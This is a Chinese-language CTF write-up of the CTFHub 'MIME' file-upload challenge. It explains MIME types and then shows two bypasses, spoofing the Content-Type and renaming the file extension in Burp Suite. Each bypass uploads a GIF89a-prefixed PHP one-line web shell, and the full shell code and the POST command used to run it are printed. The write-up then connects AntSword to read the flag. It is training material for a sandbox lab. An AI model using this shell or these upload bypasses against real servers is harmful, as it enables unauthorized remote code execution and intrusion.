CTFHub 文件上传-MIME

目录

一、MIME

1、基本概念

2、MIME类型

[3、MIME 在文件上传中的工作流程](#3、MIME 在文件上传中的工作流程)

二、渗透实战(传PHP后缀,改MIME)

1、构建脚本

2、进入靶场

[3、bp设置inception on](#3、bp设置inception on)

4、上传文件

5、bp拦截报文

6、修改MIME值并发包

(1)法1:直接在inception界面改

(2)法2:发送到repeater改

7、构造脚本URL地址并访问

8、连接蚁剑

9、获取flag

三、渗透实战(传GIF后缀,改文件后缀)

1、构建脚本

2、进入靶场

[3、bp设置inception on](#3、bp设置inception on)

4、上传mooyuan.gif

5、bp拦截报文

6、修改后缀并发包

7、构造脚本URL地址并访问

8、连接蚁剑

9、获取flag


本文讲解CTFHub的文件上传"MIME"关卡的原理分析与渗透实战流程。首先讲解了MIME的基本概念及其在文件上传中的作用,随后通过两种实战方案演示渗透过程:1)上传PHP文件并修改MIME为image/gif;2)上传GIF文件后修改为PHP后缀。两种方法均通过BurpSuite拦截修改请求,利用蚁剑连接获取flag。文中详细说明了木马脚本构造、请求拦截修改、蚁剑配置等关键步骤,最终成功获取flag:ctfhub{705cbb45e55ba0426a5b12f8}。

一、MIME

1、基本概念

MIME (Multipurpose Internet Mail Extensions,多用途互联网邮件扩展类型)是一种标准,用来标识文档、文件或字节流的性质和格式 。它的主要作用是让客户端(如浏览器)和服务器能够识别正在传输的数据到底是什么类型,从而用正确的应用程序来打开或处理它。例如,服务器告诉浏览器"这是一个PDF文件",浏览器就会调用PDF阅读器;"这是一个JPEG图片",浏览器就会渲染显示它。

2、MIME类型

MIME 通过 "主类型 / 子类型 " 的结构化字符串来定义内容类型,格式为type/subtype,同时可搭配 "参数" 补充细节(如编码方式、文件名称)。

常见 MIME 类型示例:

内容类型 MIME 标识 说明
纯文本 text/plain 普通文本(默认 ASCII 编码)
HTML 网页 text/html 浏览器需按 HTML 规则渲染
JPG 图片 image/jpeg 二进制图像文件
MP3 音频 audio/mpeg 音频文件
ZIP 压缩包 application/zip 二进制压缩文件
表单提交数据 application/x-www-form-urlencoded POST 表单默认编码

3、MIME 在文件上传中的工作流程

在文件上传场景中,MIME类型出现在两个关键位置:

  • 客户端(浏览器)

    • 当你在网页上选择了一个文件并点击上传时,浏览器会读取该文件的扩展名和一些元数据,并根据一个内置的映射表,自动设置好该文件的MIME类型

    • 这个MIME类型会被放入HTTP请求头的 Content-Type 字段中。

  • HTTP请求

    • 上传文件时,浏览器会构造一个 multipart/form-data 格式的POST请求。

    • 这个请求的每个部分都包含一个 Content-Type 头,用于说明该部分数据的类型。对于文件部分,这个值就是浏览器判断出的MIME类型。

  • 服务器端

    • 服务器接收到上传请求后,从 Content-Type 头中获取到客户端声称的文件MIME类型。

    • 服务器端的验证代码可能会检查这个值,来判断是否允许该文件上传。

二、渗透实战(传PHP后缀,改MIME)

1、构建脚本

新建一个存放着一句话木马的php文件,脚本名为mooyuan.php.

复制代码
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>

这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。接下来使用文本编辑器打开,我这里用的是ultraedit工具,打开后效果如下所示。

GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61 ,对应 ASCII 字符就是 GIF89a 。右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。

2、进入靶场

如下所示,将靶场URL复制到浏览器的地址栏访问后,发现这是一个文件上传关卡,主要通过检查MIME判断是否为合法的图片。

复制代码
http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/

3、bp设置inception on

启动Burp Suite并设置浏览器代理,同时burpsuite的inception设置为on状态。

4、上传文件

浏览选中mooyuan.php并点击submit上传文件

5、bp拦截报文

如下图所示,这就是我们要上传的文件mooyuan.php,此时需要修改MIME。因为这个报文当前满足文件头标识是GIF的情况,但是MIME类型不是图片,修改为image/gif。

6、修改MIME值并发包

修改MIME有两种方法,一种是直接在inception界面修改,另一种则是repeater中修改,具体如下所示。

(1)法1:直接在inception界面改

修改完成后,在Burp Suite中点击inception on放行数据包。

上传后提示上传成功并给出上传路径,如下所示。

(2)法2:发送到repeater改

如下所示修改完毕点击send,服务器提示上传成功并给出路径。

7、构造脚本URL地址并访问

构造木马脚本URL后,访问木马并POST命令发送执行phpinfo命令 ,观察执行效果知其成功显示php版本号,证明渗透成功,具体如下所示。

复制代码
靶场路径 http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/ 
上传路径 upload/mooyuan.php
对两者进行拼接,如下所示:
脚本地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
POST内容:ljn=phpinfo();

8、连接蚁剑

配置并连接蚁剑,具体步骤和URL脚本地址、密码、和连接效果如下所示。

点击添加后效果如下所示,接下来我们需要进入文件系统中寻找flag文件,通常情况下flag文件常位于网站的根目录(如/var/www/html)。

在蚁剑中双击新添加的连接或追右键点击文件管理,进入靶场的文件系统中。F

9、获取flag

在/var/www/html文件夹(也就是网址的根目录)中找到了flag文件,如下所示。

成功获取flag:ctfhub{705cbb45e55ba0426a5b12f8}

三、渗透实战(传GIF后缀,改文件后缀)

1、构建脚本

新建一个存放着一句话木马的php文件,脚本名为mooyuan.php.

复制代码
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>

这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。复制mooyuan.php并重命名为mooyuan.gif,使用记事本打开mooyuan.gif效果如下所示。

GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61 ,对应 ASCII 字符就是 GIF89a 。使用ultraedit打开mooyuan.gif,右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。

2、进入靶场

如下所示,将靶场URL复制到浏览器的地址栏访问后,发现这是一个文件上传关卡,主要通过检测文件头判断是否为合法的图片。

复制代码
http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/

3、bp设置inception on

启动Burp Suite并设置浏览器代理,同时burpsuite的inception设置为on状态。

4、上传mooyuan.gif

5、bp拦截报文

如下图所示,这就是我们要上传的文件mooyuan.gif,此时需要修改文件后缀,改为mooyuan.php。

6、修改后缀并发包

修改完成后,在Burp Suite中点击inception on放行数据包。

上传后提示上传成功并给出上传路径,如下所示。

上传路径为upload/mooyuan.php,具体如下所示。

7、构造脚本URL地址并访问

构造木马脚本URL后,访问木马并POST命令发送执行phpinfo命令 ,观察执行效果知其成功显示php版本号,证明渗透成功,具体如下所示。

复制代码
靶场路径 http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/ 
上传路径 upload/mooyuan.php
对两者进行拼接,如下所示:
脚本地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
POST内容:ljn=phpinfo();

8、连接蚁剑

配置并连接蚁剑,具体步骤和URL脚本地址、密码、和连接效果如下所示。

点击添加后效果如下所示,接下来我们需要进入文件系统中寻找flag文件,通常情况下flag文件常位于网站的根目录(如/var/www/html)。

在蚁剑中双击新添加的连接或追右键点击文件管理,进入靶场的文件系统中。F

9、获取flag

在/var/www/html文件夹(也就是网址的根目录)中找到了flag文件,如下所示。

成功获取flag:ctfhub{705cbb45e55ba0426a5b12f8}

相关推荐
招风的黑耳21 天前
Axure文件上传高保真交互原型:实现Web端真实上传体验
交互·axure·文件上传
-曾牛21 天前
Upload-Labs靶场全20关通关攻略(含原理+实操+环境配置)
网络安全·渗透测试·靶场·文件上传漏洞·攻略·靶场教程·漏洞练习
加菲猫86022 天前
pikachu之 unsafe upfileupload (不安全的文件上传漏洞)
安全·web安全·文件上传
眠りたいです1 个月前
Qt音频播放器项目实践:文件过滤、元数据提取与动态歌词显示实现
c++·qt·ui·音视频·媒体·qt5·mime
别来无恙1491 个月前
Spring Boot文件上传功能实现详解
java·spring boot·文件上传
保持学习ing2 个月前
day4--上传图片、视频
java·大数据·数据库·文件上传·minio·分布式文件系统·文件存储
小红卒2 个月前
upload-labs靶场通关详解:第21关 数组绕过
web安全·网络安全·文件上传漏洞
码农12138号3 个月前
BUUCTF在线评测-练习场-WebCTF习题[GXYCTF2019]BabyUpload1-flag获取、解析
web安全·网络安全·文件上传漏洞·buuctf·解析漏洞
SuperherRo3 个月前
Web攻防-文件上传&黑白名单&MIME&JS前端&执行权限&编码解析&OSS存储&分域名&应用场景
文件上传·mime·黑白名单·js前端·执行权限·编码解析·oss存储